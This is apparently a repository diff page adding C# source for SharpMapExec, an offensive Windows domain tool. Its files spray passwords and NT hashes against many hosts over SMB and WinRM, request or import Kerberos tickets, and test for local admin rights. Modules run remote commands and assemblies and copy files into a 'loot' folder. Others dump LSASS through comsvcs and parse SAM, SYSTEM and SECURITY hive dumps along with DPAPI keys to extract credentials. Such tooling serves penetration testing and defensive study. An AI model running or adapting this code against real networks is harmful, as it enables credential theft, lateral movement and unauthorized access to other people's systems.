     20 + public static void StartJob(string[] users, string domain, string[] passwords, string[] hashes, string ticket, KERB_ETYPE encType, string dc, string[] computernames, string module, string moduleargument, List<string> flags)
     21 + {
     22 + string ticketoutput;
     23 + if (String.IsNullOrEmpty(ticket))
     24 + {
     25 + foreach (string user in users)
     26 + {
     27 + var secrets = hashes.Length > 0 ? hashes : passwords;
     28 + foreach (string secret in secrets)
     29 + {
     30 + string hash;
     31 + if (passwords.Length > 0)
     32 + {
     33 + string salt = String.Format("{0}{1}", domain.ToUpper(), user);
     34 + hash = Crypto.KerberosPasswordHash(encType, secret, salt);
     35 + }
     36 + else
     37 + {
     38 + hash = secret;
     39 + }
     40 + AToken.MakeToken("Fake", "Fake", "Fake");
     41 + Console.WriteLine("------------------");
     42 + Console.WriteLine(string.Format("[*] User: {0}", user));
     43 + Console.WriteLine(string.Format("[*] domain: {0}", domain));
     44 + Console.WriteLine(string.Format("[*] secret: {0}", secret));
     45 + ticketoutput = SecurityContext.AskTicket(user, domain, hash, encType, dc);
     46 + if (ticketoutput.Contains("[+] Ticket successfully imported!"))
     47 + Console.WriteLine("[+] Ticket successfully imported!");
     48 + else
     49 + {
     50 + Console.WriteLine("[-] Could not request TGT");
     51 + continue;
     52 + }
     53 + Console.WriteLine();
     54 + foreach (string computername in computernames)
     55 + {
     56 + Console.WriteLine(String.Format("[*] Checking {0}", computername));
     57 + if (!Misc.CheckHostPort(computername, 445))
     58 + {
     59 + Console.WriteLine(String.Format("[-] Could Not Reach {0}:445", computername));
     60 + Console.WriteLine();
     61 + continue;
     62 + }
     63 + if (!Directory.Exists(Path.Combine("loot", computername)))
     64 + {
     65 + Directory.CreateDirectory(Path.Combine("loot", computername));
     66 + }
     67 + Smb.CheckLocalAdmin(computername, module);
     68 + Console.WriteLine("");
     69 + }
     70 + AToken.RevertFromToken();
     71 + }
     72 + }
     73 + }
     74 + else
     75 + {
     76 + AToken.MakeToken("Fake", "Fake", "Fake");
     77 + Console.WriteLine("------------------");
     78 + Console.WriteLine(string.Format("[*] Ticket: {0}", ticket));
     79 + ticketoutput = SecurityContext.ImportTicket(ticket);
     80 + if (ticketoutput.Contains("[+] Ticket successfully imported!"))
     81 + Console.WriteLine("[+] TGT imported successfully!");
     82 + else
     83 + {
     84 + Console.WriteLine("[-] Could not import TGT");
     85 + return;
     86 + }
     87 + Console.WriteLine();
     88 + foreach (string computername in computernames)
     89 + {
     90 + Console.WriteLine(String.Format("[*] Checking {0}", computername));
     91 + if (!Misc.CheckHostPort(computername, 445))
     92 + {
     93 + Console.WriteLine(String.Format("[-] Could Not Reach {0}:445", computername));
     94 + Console.WriteLine();
     95 + continue;
     96 + }
     97 + if (!Directory.Exists(Path.Combine("loot", computername)))
     98 + {
     99 + Directory.CreateDirectory(Path.Combine("loot", computername));
     100 + }
     101 + Smb.CheckLocalAdmin(computername, module);
     102 + Console.WriteLine("");
     103 + }
     104 + AToken.RevertFromToken();
     105 + }
     106 + }
     107 + }
     108 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Lib/KerberosWinrm.cs
     1 +using Rubeus;
     2 +using SharpMapExec.Helpers;
     3 +using System;
     4 +using System.Collections.Generic;
     5 +using System.IO;
     6 +using static Rubeus.Interop;
     7 + 
     8 +namespace SharpMapExec.Lib
     9 +{
     10 + public class kerberoswinrm
     11 + {
     12 + public static void KerberosWinRm(string[] users, string domain, string[] passwords, string[] hash, string ticket, KERB_ETYPE encType, string dc, string[] computernames, string module, string moduleargument, string path, string destination, List<string> flags)
     13 + {
     14 + if (module.Contains("exec") && moduleargument.Length == 0)
     15 + {
     16 + Console.WriteLine("[-] Missing exec argument");
     17 + return;
     18 + }
     19 + if (module.Contains("assembly") && !File.Exists(path))
     20 + {
     21 + Console.WriteLine("[-] Missing assembly path");
     22 + return;
     23 + }
     24 + if (module.Contains("download") && (String.IsNullOrEmpty(path) || String.IsNullOrEmpty(destination)))
     25 + {
     26 + Console.WriteLine("[-] Need path and destination");
     27 + return;
     28 + }
     29 + StartJob(users, domain, passwords, hash, ticket, encType, dc, computernames, module, moduleargument, path, destination, flags);
     30 + //var listOfTasks = new List<Task>();
     31 + //listOfTasks.Add(new Task(() => StartJob(users, domain, passwords, hash, ticket, encType, dc, computernames, module, moduleargument, flags)));
     32 + //Tasks.StartAndWaitAllThrottled(listOfTasks, 1);
     33 + }
     34 + 
     35 + public static void StartJob(string[] users, string domain, string[] passwords, string[] hashes, string ticket, KERB_ETYPE encType, string dc, string[] computernames, string module, string moduleargument, string path, string destination, List<string> flags)
     36 + {
     37 + AToken.MakeToken("Fake", "Fake", "Fake");
     38 + string ticketoutput;
     39 + if (String.IsNullOrEmpty(ticket))
     40 + {
     41 + foreach (string user in users)
     42 + {
     43 + var secrets = hashes.Length > 0 ? hashes : passwords;
     44 + foreach (string secret in secrets)
     45 + {
     46 + string hash;
     47 + if (passwords.Length > 0)
     48 + {
     49 + string salt = String.Format("{0}{1}", domain.ToUpper(), user);
     50 + hash = Crypto.KerberosPasswordHash(encType, secret, salt);
     51 + }
     52 + else
     53 + {
     54 + hash = secret;
     55 + }
     56 + 
     57 + Console.WriteLine("------------------");
     58 + Console.WriteLine(string.Format("[*] User: {0}", user));
     59 + Console.WriteLine(string.Format("[*] domain: {0}", domain));
     60 + Console.WriteLine(string.Format("[*] secret: {0}", secret));
     61 + ticketoutput = SecurityContext.AskTicket(user, domain, hash, encType, dc);
     62 + if (ticketoutput.Contains("[+] Ticket successfully imported!"))
     63 + Console.WriteLine("[+] Ticket successfully imported!");
     64 + else
     65 + {
     66 + Console.WriteLine("[-] Could not request TGT");
     67 + continue;
     68 + }
     69 + //ticket debugging
     70 + //List<LSA.SESSION_CRED> sessionCreds = LSA.EnumerateTickets(false, new LUID(), "", "", "", true);
     71 + //LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Klist);
     72 + Console.WriteLine();
     73 + foreach (string computername in computernames)
     74 + {
     75 + Console.WriteLine(String.Format("[*] Checking {0}", computername));
     76 + if (!Misc.CheckHostPort(computername, 5985))
     77 + {
     78 + Console.WriteLine(String.Format("[-] Could Not Reach {0}:5985", computername));
     79 + Console.WriteLine();
     80 + continue;
     81 + }
     82 + if (!Directory.Exists(Path.Combine("loot", computername)))
     83 + {
     84 + Directory.CreateDirectory(Path.Combine("loot", computername));
     85 + }
     86 + if (module.Length == 0 || module.Contains("exec"))
     87 + {
     88 + Wsman.CheckLocalAdmin(computername, moduleargument, flags);
     89 + }
     90 + else if (module.Contains("comsvcs"))
     91 + {
     92 + Wsman.InvokeComSvcsLsassDump(computername);
     93 + }
     94 + else if (module.Contains("secrets") || module.Contains("secret"))
     95 + {
     96 + Wsman.GetSecrets(computername);
     97 + }
     98 + else if (module.Contains("assembly"))
     99 + {
     100 + Wsman.ExecuteAssembly(computername, path, moduleargument, flags);
     101 + }
     102 + else if (module.Contains("download"))
     103 + {
     104 + Wsman.CopyFile(computername, path, destination);
     105 + }
     106 + Console.WriteLine("");
     107 + }
     108 + }
     109 + }
     110 + }
     111 + else
     112 + {
     113 + Console.WriteLine("------------------");
     114 + Console.WriteLine(string.Format("[*] Ticket: {0}", ticket));
     115 + ticketoutput = SecurityContext.ImportTicket(ticket);
     116 + if (ticketoutput.Contains("[+] Ticket successfully imported!"))
     117 + Console.WriteLine("[+] TGT imported successfully!");
     118 + else
     119 + {
     120 + Console.WriteLine("[-] Could not import TGT");
     121 + return;
     122 + }
     123 + //ticket debugging
     124 + //List<LSA.SESSION_CRED> sessionCreds = LSA.EnumerateTickets(false, new LUID(), "", "", "", true);
     125 + //LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Klist);
     126 + Console.WriteLine();
     127 + foreach (string computername in computernames)
     128 + {
     129 + Console.WriteLine(String.Format("[*] Checking {0}", computername));
     130 + if (!Misc.CheckHostPort(computername, 5985))
     131 + {
     132 + Console.WriteLine(String.Format("[-] Could Not Reach {0}:5985", computername, flags));
     133 + Console.WriteLine();
     134 + continue;
     135 + }
     136 + if (!Directory.Exists(Path.Combine("loot", computername)))
     137 + {
     138 + Directory.CreateDirectory(Path.Combine("loot", computername));
     139 + }
     140 + if (module.Length == 0 || module.Contains("exec"))
     141 + {
     142 + Wsman.CheckLocalAdmin(computername, moduleargument, flags);
     143 + }
     144 + else if (module.Contains("comsvcs"))
     145 + {
     146 + Wsman.InvokeComSvcsLsassDump(computername);
     147 + }
     148 + else if (module.Contains("secrets") || module.Contains("secret"))
     149 + {
     150 + Wsman.GetSecrets(computername);
     151 + }
     152 + else if (module.Contains("assembly"))
     153 + {
     154 + Wsman.ExecuteAssembly(computername, path, moduleargument, flags);
     155 + }
     156 + else if (module.Contains("download"))
     157 + {
     158 + Wsman.CopyFile(computername, path, destination);
     159 + }
     160 + Console.WriteLine("");
     161 + }
     162 + }
     163 + AToken.RevertFromToken();
     164 + }
     165 + }
     166 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Lib/NtlmSmb.cs
     1 +using SharpMapExec.Helpers;
     2 +using System;
     3 +using System.Collections.Generic;
     4 +using System.IO;
     5 +using System.Linq;
     6 +using System.Threading.Tasks;
     7 +using static SharpMapExec.Helpers.SecurityContext;
     8 + 
     9 +namespace SharpMapExec.Lib
     10 +{
     11 + public class ntlmsmb
     12 + {
     13 + public static void NtlmSmb<T>(string[] users, string domain, T secrets, string[] computernames, string module, string moduleargument)
     14 + {
     15 + //StartJob(users, domain, secrets, computernames, module, moduleargument);
     16 + var listOfTasks = new List<Task>();
     17 + listOfTasks.Add(new Task(() => StartJob(users, domain, secrets, computernames, module, moduleargument)));
     18 + Tasks.StartAndWaitAllThrottled(listOfTasks, 1);
     19 + }
     20 + 
     21 + public static void StartJob<T>(string[] users, string domain, T secrets, string[] computernames, string module, string moduleargument)
     22 + {
     23 + string[] passwords;
     24 + if (typeof(T) == typeof(NTHash))
     25 + {
     26 + passwords = (string[])secrets.GetType().GetProperties().Single(pi => pi.Name == "Nthash").GetValue(secrets, null);
     27 + foreach (string user in users)
     28 + {
     29 + foreach (string password in passwords)
     30 + {
     31 + Console.WriteLine("------------------");
     32 + Console.WriteLine(string.Format("[*] User: {0}", user));
     33 + Console.WriteLine(string.Format("[*] domain: {0}", domain));
     34 + Console.WriteLine(string.Format("[*] secret: {0}", password));
     35 + Console.WriteLine();
     36 + SetThreadToken(user, domain, password);
     37 + foreach (string computername in computernames)
     38 + {
     39 + Console.WriteLine(String.Format("[*] Checking {0}", computername));
     40 + if (!Misc.CheckHostPort(computername, 445))
     41 + {
     42 + Console.WriteLine(String.Format("[-] Could Not Reach {0}:445", computername));
     43 + Console.WriteLine();
     44 + continue;
     45 + }
     46 + if (!Directory.Exists(Path.Combine("loot", computername)))
     47 + {
     48 + Directory.CreateDirectory(Path.Combine("loot", computername));
     49 + }
     50 + Smb.CheckLocalAdmin(computername, module);
     51 + Console.WriteLine("");
     52 + }
     53 + }
     54 + }
     55 + }
     56 + else if (typeof(T) == typeof(ClearText))
     57 + {
     58 + passwords = (string[])secrets.GetType().GetProperties().Single(pi => pi.Name == "Cleartext").GetValue(secrets, null);
     59 + foreach (string user in users)
     60 + {
     61 + foreach (string password in passwords)
     62 + {
     63 + Console.WriteLine("------------------");
     64 + Console.WriteLine(string.Format("[*] User: {0}", user));
     65 + Console.WriteLine(string.Format("[*] domain: {0}", domain));
     66 + Console.WriteLine(string.Format("[*] secret: {0}", password));
     67 + Console.WriteLine();
     68 + using (new Impersonator.Impersonation(domain, user, password))
     69 + {
     70 + foreach (string computername in computernames)
     71 + {
     72 + Console.WriteLine(String.Format("[*] Checking {0}", computername));
     73 + if (!Misc.CheckHostPort(computername, 445))
     74 + {
     75 + Console.WriteLine(String.Format("[-] Could Not Reach {0}:445", computername));
     76 + Console.WriteLine();
     77 + continue;
     78 + }
     79 + if (!Directory.Exists(Path.Combine("loot", computername)))
     80 + {
     81 + Directory.CreateDirectory(Path.Combine("loot", computername));
     82 + }
     83 + Smb.CheckLocalAdmin(computername, module);
     84 + Console.WriteLine("");
     85 + }
     86 + }
     87 + }
     88 + }
     89 + }
     90 + }
     91 + }
     92 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Lib/NtlmWinrm.cs
     1 +using SharpMapExec.Helpers;
     2 +using System;
     3 +using System.Collections.Generic;
     4 +using System.IO;
     5 +using System.Linq;
     6 +using System.Threading.Tasks;
     7 +using static SharpMapExec.Helpers.SecurityContext;
     8 + 
     9 +namespace SharpMapExec.Lib
     10 +{
     11 + public class ntlmwinrm
     12 + {
     13 + public static void NtlmWinRm<T>(string[] users, string domain, T secrets, string[] computernames, string module, string moduleargument,string path, string destination, List<string> flags)
     14 + {
     15 + if (module.Contains("exec") && moduleargument.Length == 0)
     16 + {
     17 + Console.WriteLine("[-] Missing exec argument");
     18 + return;
     19 + }
     20 + if (module.Contains("assembly") && !File.Exists(path))
     21 + {
     22 + Console.WriteLine("[-] Missing assembly path");
     23 + return;
     24 + }
     25 + if (module.Contains("download") && (String.IsNullOrEmpty(path) || String.IsNullOrEmpty(destination)))
     26 + {
     27 + Console.WriteLine("[-] Need path and destination");
     28 + return;
     29 + }
     30 + //StartJob(users, domain, secrets, computernames, module, moduleargument, path, destination, flags);
     31 + var listOfTasks = new List<Task>();
     32 + listOfTasks.Add(new Task(() => StartJob(users, domain, secrets, computernames, module, moduleargument, path, destination, flags)));
     33 + Tasks.StartAndWaitAllThrottled(listOfTasks, 1);
     34 + }
     35 + 
     36 + public static void StartJob<T>(string[] users, string domain, T secrets, string[] computernames, string module, string moduleargument, string path, string destination, List<string> flags)
     37 + {
     38 + string[] passwords;
     39 + if (typeof(T) == typeof(NTHash))
     40 + {
     41 + passwords = (string[])secrets.GetType().GetProperties().Single(pi => pi.Name == "Nthash").GetValue(secrets, null);
     42 + foreach (string user in users)
     43 + {
     44 + foreach (string password in passwords)
     45 + {
     46 + Console.WriteLine("------------------");
     47 + Console.WriteLine(string.Format("[*] User: {0}", user));
     48 + Console.WriteLine(string.Format("[*] domain: {0}", domain));
     49 + Console.WriteLine(string.Format("[*] secret: {0}", password));
     50 + Console.WriteLine();
     51 + SetThreadToken(user, domain, password);
     52 + foreach (string computername in computernames)
     53 + {
     54 + Console.WriteLine(String.Format("[*] Checking {0}", computername));
     55 + if (!Misc.CheckHostPort(computername, 5985))
     56 + {
     57 + Console.WriteLine(String.Format("[-] Could Not Reach {0}:5985", computername));
     58 + Console.WriteLine();
     59 + continue;
     60 + }
     61 + if (!Directory.Exists(Path.Combine("loot", computername)))
     62 + {
     63 + Directory.CreateDirectory(Path.Combine("loot", computername));
     64 + }
     65 + if (module.Length == 0 || module.Contains("exec"))
     66 + {
     67 + Wsman.CheckLocalAdmin(computername, moduleargument, flags);
     68 + }
     69 + else if (module.Contains("comsvcs"))
     70 + {
     71 + Wsman.InvokeComSvcsLsassDump(computername);
     72 + }
     73 + else if (module.Contains("secrets") || module.Contains("secret"))
     74 + {
     75 + Wsman.GetSecrets(computername);
     76 + }
     77 + else if (module.Contains("assembly"))
     78 + {
     79 + Wsman.ExecuteAssembly(computername, path, moduleargument, flags);
     80 + }
     81 + else if (module.Contains("download"))
     82 + {
     83 + Wsman.CopyFile(computername, path, destination);
     84 + }
     85 + Console.WriteLine("");
     86 + }
     87 + }
     88 + }
     89 + }
     90 + else if (typeof(T) == typeof(ClearText))
     91 + {
     92 + passwords = (string[])secrets.GetType().GetProperties().Single(pi => pi.Name == "Cleartext").GetValue(secrets, null);
     93 + foreach (string user in users)
     94 + {
     95 + foreach (string password in passwords)
     96 + {
     97 + Console.WriteLine("------------------");
     98 + Console.WriteLine(string.Format("[*] User: {0}", user));
     99 + Console.WriteLine(string.Format("[*] domain: {0}", domain));
     100 + Console.WriteLine(string.Format("[*] secret: {0}", password));
     101 + Console.WriteLine();
     102 + using (new Impersonator.Impersonation(domain, user, password))
     103 + {
     104 + foreach (string computername in computernames)
     105 + {
     106 + Console.WriteLine(String.Format("[*] Checking {0}", computername));
     107 + if (!Misc.CheckHostPort(computername, 5985))
     108 + {
     109 + Console.WriteLine(String.Format("[-] Could Not Reach {0}:5985", computername));
     110 + Console.WriteLine();
     111 + continue;
     112 + }
     113 + if (!Directory.Exists(Path.Combine("loot", computername)))
     114 + {
     115 + Directory.CreateDirectory(Path.Combine("loot", computername));
     116 + }
     117 + if (module.Length == 0 || module.Contains("exec"))
     118 + {
     119 + Wsman.CheckLocalAdmin(computername, moduleargument, flags);
     120 + }
     121 + else if (module.Contains("comsvcs"))
     122 + {
     123 + Wsman.InvokeComSvcsLsassDump(computername);
     124 + }
     125 + else if (module.Contains("secrets") || module.Contains("secret"))
     126 + {
     127 + Wsman.GetSecrets(computername);
     128 + }
     129 + else if (module.Contains("assembly"))
     130 + {
     131 + Wsman.ExecuteAssembly(computername, path, moduleargument, flags);
     132 + }
     133 + else if (module.Contains("download"))
     134 + {
     135 + Wsman.CopyFile(computername, path, destination);
     136 + }
     137 + Console.WriteLine("");
     138 + }
     139 + }
     140 + }
     141 + }
     142 + }
     143 + }
     144 + }
     145 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Lib/Secrets.cs
     1 +using SharpMapExec.HiveParser;
     2 +using System;
     3 +using System.Collections.Generic;
     4 +using System.Linq;
     5 +using System.Text;
     6 +using static SharpMapExec.HiveParser.Registry;
     7 + 
     8 +namespace SharpMapExec.Lib
     9 +{
     10 + internal class Secrets
     11 + {
     12 + public static void ParseSecrets(string sampath, string systempath, string securitypath, List<byte[]> machineMasterKeys = null, List<byte[]> userMasterKeys = null, string credDirs = null, string vaultDirs = null, string certDirs = null)
     13 + {
     14 + StringBuilder sb = new StringBuilder();
     15 + byte[] bootKey = new byte[16];
     16 + 
     17 + RegistryHive system = RegistryHive.ImportHiveDump(systempath);
     18 + if (system != null)
     19 + {
     20 + bootKey = GetBootKey(system);
     21 + if (bootKey == null)
     22 + {
     23 + sb.AppendLine("[-] Failed to parse bootkey");
     24 + return;
     25 + }
     26 + }
     27 + else
     28 + {
     29 + sb.AppendLine("[-] Unable to access to SYSTEM dump file");
     30 + }
     31 + 
     32 + RegistryHive sam = RegistryHive.ImportHiveDump(sampath);
     33 + if (sam != null)
     34 + {
     35 + ParseSam(bootKey, sam).ForEach(item => sb.Append(item + Environment.NewLine));
     36 + }
     37 + else
     38 + {
     39 + sb.AppendLine("[-] Unable to access to SAM dump file");
     40 + }
     41 + 
     42 + RegistryHive security = RegistryHive.ImportHiveDump(securitypath);
     43 + if (security != null)
     44 + {
     45 + ParseLsa(security, bootKey, system).ForEach(item => sb.Append(item + Environment.NewLine));
     46 + }
     47 + else
     48 + {
     49 + sb.AppendLine("[-] Unable to access to SECURITY dump file");
     50 + }
     51 + 
     52 + if (machineMasterKeys != null || userMasterKeys != null)
     53 + {
     54 + List<byte[]> dpapikeys = new List<byte[]>();
     55 + foreach (string line in sb.ToString().Split(new string[] { Environment.NewLine }, StringSplitOptions.None).ToList())
     56 + {
     57 + if (line.Contains("dpapi_machinekey:") || line.Contains("dpapi_userkey:"))
     58 + {
     59 + byte[] bytes = Helpers.Misc.HexToByteArray(line.Split(':').Last());
     60 + dpapikeys.Add(bytes);
     61 + }
     62 + }
     63 + SharpDPAPI.SharpDPAPI.ParseDpapi(sb, dpapikeys, machineMasterKeys, userMasterKeys, credDirs, vaultDirs, certDirs);
     64 + }
     65 + Console.WriteLine(sb.ToString());
     66 + }
     67 + }
     68 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Lib/Smb.cs
     1 +using System;
     2 +using System.Collections.Generic;
     3 +using System.IO;
     4 +using System.Linq;
     5 +using System.Runtime.InteropServices;
     6 +using System.Text;
     7 + 
     8 +namespace SharpMapExec.Lib
     9 +{
     10 + public class Smb
     11 + {
     12 + [DllImport("Netapi32.dll", SetLastError = true)]
     13 + private static extern int NetApiBufferFree(IntPtr Buffer);
     14 + 
     15 + [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)]
     16 + private static extern int NetShareEnum(
     17 + StringBuilder ServerName,
     18 + int level,
     19 + ref IntPtr bufPtr,
     20 + uint prefmaxlen,
     21 + ref int entriesread,
     22 + ref int totalentries,
     23 + ref int resume_handle
     24 + );
     25 + 
     26 + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
     27 + public struct SHARE_INFO_1
     28 + {
     29 + public string shi1_netname;
     30 + public uint shi1_type;
     31 + public string shi1_remark;
     32 + 
     33 + public SHARE_INFO_1(string sharename, uint sharetype, string remark)
     34 + {
     35 + this.shi1_netname = sharename;
     36 + this.shi1_type = sharetype;
     37 + this.shi1_remark = remark;
     38 + }
     39 + 
     40 + public override string ToString()
     41 + {
     42 + return shi1_netname;
     43 + }
     44 + }
     45 + 
     46 + private const uint MAX_PREFERRED_LENGTH = 0xFFFFFFFF;
     47 + private const int NERR_Success = 0;
     48 + 
     49 + private enum NetError : uint
     50 + {
     51 + NERR_Success = 0,
     52 + NERR_BASE = 2100,
     53 + NERR_UnknownDevDir = (NERR_BASE + 16),
     54 + NERR_DuplicateShare = (NERR_BASE + 18),
     55 + NERR_BufTooSmall = (NERR_BASE + 23),
     56 + }
     57 + 
     58 + private enum SHARE_TYPE : uint
     59 + {
     60 + STYPE_DISKTREE = 0,
     61 + STYPE_PRINTQ = 1,
     62 + STYPE_DEVICE = 2,
     63 + STYPE_IPC = 3,
     64 + STYPE_SPECIAL = 0x80000000,
     65 + }
     66 + 
     67 + public static SHARE_INFO_1[] EnumNetShares(string Server)
     68 + {
     69 + List<SHARE_INFO_1> ShareInfos = new List<SHARE_INFO_1>();
     70 + int entriesread = 0;
     71 + int totalentries = 0;
     72 + int resume_handle = 0;
     73 + int nStructSize = Marshal.SizeOf(typeof(SHARE_INFO_1));
     74 + IntPtr bufPtr = IntPtr.Zero;
     75 + StringBuilder server = new StringBuilder(Server);
     76 + int ret = NetShareEnum(server, 1, ref bufPtr, MAX_PREFERRED_LENGTH, ref entriesread, ref totalentries, ref resume_handle);
     77 + if (ret == NERR_Success)
     78 + {
     79 + IntPtr currentPtr = bufPtr;
     80 + for (int i = 0; i < entriesread; i++)
     81 + {
     82 + SHARE_INFO_1 shi1 = (SHARE_INFO_1)Marshal.PtrToStructure(currentPtr, typeof(SHARE_INFO_1));
     83 + ShareInfos.Add(shi1);
     84 + currentPtr += nStructSize;
     85 + }
     86 + NetApiBufferFree(bufPtr);
     87 + return ShareInfos.ToArray();
     88 + }
     89 + else
     90 + {
     91 + ShareInfos.Add(new SHARE_INFO_1("ERROR=" + ret.ToString(), 10, string.Empty));
     92 + return ShareInfos.ToArray();
     93 + }
     94 + }
     95 + 
     96 + public static void CheckLocalAdmin(string computer, string module)
     97 + {
     98 + string[] errors = { "ERROR=53", "ERROR=5" };
     99 + if (module.Length == 0)
     100 + {
     101 + try
     102 + {
     103 + string path = String.Format("\\\\{0}\\{1}", computer, "C$");
     104 + DirectoryInfo di = new DirectoryInfo(path);
     105 + var dirs = di.GetDirectories();
     106 + Console.WriteLine(String.Format(" [+] Local Admin on {0}", computer));
     107 + }
     108 + catch
     109 + {
     110 + if (!errors.Contains("C$"))
     111 + {
     112 + Console.WriteLine(String.Format(" [+] Authenticated but not admin on {0}", computer));
     113 + }
     114 + }
     115 + }
     116 + else
     117 + {
     118 + SHARE_INFO_1[] computerShares = EnumNetShares(computer);
     119 + if (computerShares.Length > 0)
     120 + {
     121 + if (module.Contains("shares"))
     122 + {
     123 + List<string> readableShares = new List<string>();
     124 + List<string> unauthorizedShares = new List<string>();
     125 + foreach (SHARE_INFO_1 share in computerShares)
     126 + {
     127 + try
     128 + {
     129 + string path = String.Format("\\\\{0}\\{1}", computer, share.shi1_netname);
     130 + DirectoryInfo di = new DirectoryInfo(path);
     131 + var dirs = di.GetDirectories();
     132 + readableShares.Add(share.shi1_netname);
     133 + }
     134 + catch
     135 + {
     136 + if (!errors.Contains(share.shi1_netname))
     137 + {
     138 + unauthorizedShares.Add(share.shi1_netname);
     139 + }
     140 + }
     141 + }
     142 + if (readableShares.Contains("C$") || readableShares.Contains("ADMIN$"))
     143 + {
     144 + Console.WriteLine(String.Format(" [+] Local Admin on {0}", computer));
     145 + }
     146 + else if (unauthorizedShares.Count > 0)
     147 + {
     148 + Console.WriteLine(String.Format(" [+] Authenticated but not admin on {0}", computer));
     149 + }
     150 + else
     151 + {
     152 + Console.WriteLine(String.Format("[-] Access is Denied on {0}", computer));
     153 + }
     154 + if (unauthorizedShares.Count > 0 || readableShares.Count > 0)
     155 + {
     156 + string output = string.Format(" [*] Listing shares on {0}", computer);
     157 + if (readableShares.Count > 0)
     158 + {
     159 + output += "\n--- Accessible Shares ---";
     160 + foreach (string share in readableShares)
     161 + {
     162 + output += string.Format("\n [+]{0}", share);
     163 + }
     164 + }
     165 + if (unauthorizedShares.Count > 0)
     166 + {
     167 + output += "\n--- No Access ---";
     168 + foreach (string share in unauthorizedShares)
     169 + {
     170 + output += string.Format("\n [-]{0}", share);
     171 + }
     172 + }
     173 + Console.WriteLine(output);
     174 + }
     175 + }
     176 + }
     177 + else
     178 + {
     179 + Console.WriteLine(String.Format("[-] Access is Denied on {0}", computer));
     180 + }
     181 + }
     182 + }
     183 + }
     184 +}
Please wait...
Page is in error, reload to recover